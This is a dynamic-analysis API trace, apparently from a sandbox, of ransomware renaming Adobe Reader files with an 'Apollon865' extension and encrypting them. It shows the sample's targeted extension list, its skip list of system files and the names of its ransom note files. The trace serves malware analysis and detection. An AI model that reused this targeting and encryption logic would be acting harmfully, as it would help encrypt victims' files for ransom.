	[0058.691] lstrlenW (lpString="4dd") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.692] lstrlenW (lpString="4dl") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.692] lstrlenW (lpString="^^^") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.692] lstrlenW (lpString="abs") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.692] lstrlenW (lpString="abx") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.692] lstrlenW (lpString="accdb") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accdb") returned 1
	[0058.692] lstrlenW (lpString="accdc") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accdc") returned 1
	[0058.692] lstrlenW (lpString="accde") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accde") returned 1
	[0058.692] lstrlenW (lpString="accdr") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accdr") returned 1
	[0058.692] lstrlenW (lpString="accdt") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accdt") returned 1
	[0058.692] lstrlenW (lpString="accdw") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accdw") returned 1
	[0058.692] lstrlenW (lpString="accft") returned 5
	[0058.692] lstrcmpiW (lpString1="m.CAT", lpString2="accft") returned 1
	[0058.692] lstrlenW (lpString="adb") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.692] lstrlenW (lpString="adb") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.692] lstrlenW (lpString="ade") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.692] lstrlenW (lpString="adf") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.692] lstrlenW (lpString="adn") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.692] lstrlenW (lpString="adp") returned 3
	[0058.692] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.692] lstrlenW (lpString="alf") returned 3
	[0058.693] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.693] lstrlenW (lpString="ask") returned 3
	[0058.693] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.693] lstrlenW (lpString="btr") returned 3
	[0058.693] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.693] lstrlenW (lpString="cat") returned 3
	[0058.693] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.693] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT.Apollon865") returned 84
	[0058.693] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.694] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=449536) returned 1
	[0058.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.695] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.695] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.695] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.696] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6df00, lpName=0x0) returned 0x154
	[0058.697] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6df00) returned 0x210000
	[0058.721] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.722] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.722] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.723] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0058.727] CloseHandle (hObject=0x154) returned 1
	[0058.727] CloseHandle (hObject=0x14c) returned 1
	[0058.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.729] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="ADOBEC~1.CAT")) returned 1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="Apollon865.txt.exe") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".") returned 1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="..") returned 1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="windows") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="bootmgr") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="temp") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="pagefile.sys") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="boot") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="ids.txt") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="ntuser.dat") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="perflogs") returned -1
	[0058.729] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2="MSBuild") returned -1
	[0058.729] lstrlenW (lpString="AdobeCollabSync.CAT") returned 19
	[0058.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT") returned 73
	[0058.729] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="AdobeCollabSync.CAT" | out: lpString1="AdobeCollabSync.CAT") returned="AdobeCollabSync.CAT"
	[0058.729] lstrlenW (lpString="AdobeCollabSync.CAT") returned 19
	[0058.729] lstrlenW (lpString="Apollon865") returned 10
	[0058.730] lstrcmpiW (lpString1="abSync.CAT", lpString2="Apollon865") returned -1
	[0058.730] lstrlenW (lpString=".dll") returned 4
	[0058.730] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".dll") returned 1
	[0058.730] lstrlenW (lpString=".lnk") returned 4
	[0058.730] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".lnk") returned 1
	[0058.730] lstrlenW (lpString=".ini") returned 4
	[0058.730] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".ini") returned 1
	[0058.730] lstrlenW (lpString=".sys") returned 4
	[0058.730] lstrcmpiW (lpString1="AdobeCollabSync.CAT", lpString2=".sys") returned 1
	[0058.730] lstrlenW (lpString="AdobeCollabSync.CAT") returned 19
	[0058.730] lstrlenW (lpString="bak") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.730] lstrlenW (lpString="ba_") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.730] lstrlenW (lpString="dbb") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.730] lstrlenW (lpString="vmdk") returned 4
	[0058.730] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.730] lstrlenW (lpString="rar") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.730] lstrlenW (lpString="zip") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.730] lstrlenW (lpString="tgz") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.730] lstrlenW (lpString="vbox") returned 4
	[0058.730] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.730] lstrlenW (lpString="vdi") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.730] lstrlenW (lpString="vhd") returned 3
	[0058.730] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.730] lstrlenW (lpString="vhdx") returned 4
	[0058.730] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.730] lstrlenW (lpString="avhd") returned 4
	[0058.730] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.730] lstrlenW (lpString="db") returned 2
	[0058.731] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.731] lstrlenW (lpString="db2") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.731] lstrlenW (lpString="db3") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.731] lstrlenW (lpString="dbf") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.731] lstrlenW (lpString="mdf") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.731] lstrlenW (lpString="mdb") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.731] lstrlenW (lpString="sql") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.731] lstrlenW (lpString="sqlite") returned 6
	[0058.731] lstrcmpiW (lpString1="nc.CAT", lpString2="sqlite") returned -1
	[0058.731] lstrlenW (lpString="sqlite3") returned 7
	[0058.731] lstrcmpiW (lpString1="ync.CAT", lpString2="sqlite3") returned 1
	[0058.731] lstrlenW (lpString="sqlitedb") returned 8
	[0058.731] lstrcmpiW (lpString1="Sync.CAT", lpString2="sqlitedb") returned 1
	[0058.731] lstrlenW (lpString="xml") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.731] lstrlenW (lpString="$er") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.731] lstrlenW (lpString="4dd") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.731] lstrlenW (lpString="4dl") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.731] lstrlenW (lpString="^^^") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.731] lstrlenW (lpString="abs") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.731] lstrlenW (lpString="abx") returned 3
	[0058.731] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.731] lstrlenW (lpString="accdb") returned 5
	[0058.731] lstrcmpiW (lpString1="c.CAT", lpString2="accdb") returned 1
	[0058.732] lstrlenW (lpString="accdc") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accdc") returned 1
	[0058.732] lstrlenW (lpString="accde") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accde") returned 1
	[0058.732] lstrlenW (lpString="accdr") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accdr") returned 1
	[0058.732] lstrlenW (lpString="accdt") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accdt") returned 1
	[0058.732] lstrlenW (lpString="accdw") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accdw") returned 1
	[0058.732] lstrlenW (lpString="accft") returned 5
	[0058.732] lstrcmpiW (lpString1="c.CAT", lpString2="accft") returned 1
	[0058.732] lstrlenW (lpString="adb") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.732] lstrlenW (lpString="adb") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.732] lstrlenW (lpString="ade") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.732] lstrlenW (lpString="adf") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.732] lstrlenW (lpString="adn") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.732] lstrlenW (lpString="adp") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.732] lstrlenW (lpString="alf") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.732] lstrlenW (lpString="ask") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.732] lstrlenW (lpString="btr") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.732] lstrlenW (lpString="cat") returned 3
	[0058.732] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.732] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT.Apollon865") returned 91
	[0058.732] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.734] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6656) returned 1
	[0058.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.734] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.735] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.735] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.735] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x154
	[0058.736] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x100000
	[0058.737] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.738] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.738] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.739] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.739] CloseHandle (hObject=0x154) returned 1
	[0058.739] CloseHandle (hObject=0x14c) returned 1
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.739] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="Apollon865.txt.exe") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2=".") returned 1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="..") returned 1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="windows") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="bootmgr") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="temp") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="pagefile.sys") returned -1
	[0058.739] lstrcmpiW (lpString1="Annots.CAT", lpString2="boot") returned -1
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2="ids.txt") returned -1
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2="ntuser.dat") returned -1
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2="perflogs") returned -1
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2="MSBuild") returned -1
	[0058.740] lstrlenW (lpString="Annots.CAT") returned 10
	[0058.740] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT") returned 80
	[0058.740] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Annots.CAT" | out: lpString1="Annots.CAT") returned="Annots.CAT"
	[0058.740] lstrlenW (lpString="Annots.CAT") returned 10
	[0058.740] lstrlenW (lpString="Apollon865") returned 10
	[0058.740] lstrlenW (lpString=".dll") returned 4
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2=".dll") returned 1
	[0058.740] lstrlenW (lpString=".lnk") returned 4
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2=".lnk") returned 1
	[0058.740] lstrlenW (lpString=".ini") returned 4
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2=".ini") returned 1
	[0058.740] lstrlenW (lpString=".sys") returned 4
	[0058.740] lstrcmpiW (lpString1="Annots.CAT", lpString2=".sys") returned 1
	[0058.740] lstrlenW (lpString="Annots.CAT") returned 10
	[0058.740] lstrlenW (lpString="bak") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.740] lstrlenW (lpString="ba_") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.740] lstrlenW (lpString="dbb") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.740] lstrlenW (lpString="vmdk") returned 4
	[0058.740] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.740] lstrlenW (lpString="rar") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.740] lstrlenW (lpString="zip") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.740] lstrlenW (lpString="tgz") returned 3
	[0058.740] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.740] lstrlenW (lpString="vbox") returned 4
	[0058.741] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.741] lstrlenW (lpString="vdi") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.741] lstrlenW (lpString="vhd") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.741] lstrlenW (lpString="vhdx") returned 4
	[0058.741] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.741] lstrlenW (lpString="avhd") returned 4
	[0058.741] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.741] lstrlenW (lpString="db") returned 2
	[0058.741] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.741] lstrlenW (lpString="db2") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.741] lstrlenW (lpString="db3") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.741] lstrlenW (lpString="dbf") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.741] lstrlenW (lpString="mdf") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.741] lstrlenW (lpString="mdb") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.741] lstrlenW (lpString="sql") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.741] lstrlenW (lpString="sqlite") returned 6
	[0058.741] lstrcmpiW (lpString1="ts.CAT", lpString2="sqlite") returned 1
	[0058.741] lstrlenW (lpString="sqlite3") returned 7
	[0058.741] lstrcmpiW (lpString1="ots.CAT", lpString2="sqlite3") returned -1
	[0058.741] lstrlenW (lpString="sqlitedb") returned 8
	[0058.741] lstrcmpiW (lpString1="nots.CAT", lpString2="sqlitedb") returned -1
	[0058.741] lstrlenW (lpString="xml") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.741] lstrlenW (lpString="$er") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.741] lstrlenW (lpString="4dd") returned 3
	[0058.741] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.742] lstrlenW (lpString="4dl") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.742] lstrlenW (lpString="^^^") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.742] lstrlenW (lpString="abs") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.742] lstrlenW (lpString="abx") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.742] lstrlenW (lpString="accdb") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accdb") returned 1
	[0058.742] lstrlenW (lpString="accdc") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accdc") returned 1
	[0058.742] lstrlenW (lpString="accde") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accde") returned 1
	[0058.742] lstrlenW (lpString="accdr") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accdr") returned 1
	[0058.742] lstrlenW (lpString="accdt") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accdt") returned 1
	[0058.742] lstrlenW (lpString="accdw") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accdw") returned 1
	[0058.742] lstrlenW (lpString="accft") returned 5
	[0058.742] lstrcmpiW (lpString1="s.CAT", lpString2="accft") returned 1
	[0058.742] lstrlenW (lpString="adb") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.742] lstrlenW (lpString="adb") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
